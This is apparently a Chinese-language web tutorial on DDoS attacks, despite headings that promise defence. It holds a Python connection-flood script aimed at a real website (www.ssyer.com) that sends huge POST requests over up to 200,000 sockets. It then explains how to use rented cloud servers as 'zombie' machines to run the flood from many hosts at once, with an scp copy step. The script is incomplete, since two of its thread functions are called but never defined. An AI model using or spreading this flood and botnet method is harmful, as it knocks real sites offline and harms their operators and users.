DDOS原理講解
史上最全DDoS攻擊與防禦教程
DDoS攻擊的防護與本質解析
DDOS 攻擊的防範教程
思想很簡單,就是對構建多個socket鏈接後,並且每個socket對這個網站無限的發送信息,做一個死循環,瘋狂攻擊。以起到佔用他們網站資源鏈接的效果。
#!/usr/bin/env python
import socket
import time
import threading
# Pressure Test,ddos tool
# ---------------------------
MAX_CONN = 200000 # 最大socket鏈接量
PORT = 80
HOST = "www.ssyer.com"
PAGE = "/photography"
buf = ("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE, HOST))
# 多線程執行兩個函數
conn_th = threading.Thread(target=conn_thread, args=())
send_th = threading.Thread(target=send_thread, args=())
conn_th.start()
send_th.start()
整合網絡殭屍和DoS攻擊——DDoS
如果覺得網絡殭屍ping和簡單的DoS還不夠力,我們把上面的網絡殭屍和DoS整合一下,成了傳說中的DDos。
DDoS, Distributed Denial of Service, 分佈式拒絕服務攻擊,亦稱作洪水攻擊。DoS攻擊與DDoS攻擊的區別就是,它是一對一的攻擊,而DDoS是分佈式的攻擊。
改進之處:
整合網絡殭屍和DoS攻擊;
實現每個肉雞進行多線程Dos攻擊botnetCommand(‘python Dos_constantConn_MutilThread.py’);
前提條件:
你要有不止一臺可以做肉雞的網絡服務器(可以到阿里雲、騰訊雲、華爲雲多註冊幾臺雲服務器,當肉雞)。
而且每個肉雞客戶端都可以運行python(一般linux服務器都自帶python運行環境)。
程序可能問題:
有時把dos.py程序批量發到各個肉雞服務器可能不成功,需要手工先發過去:scp dos.py [email protected]:~/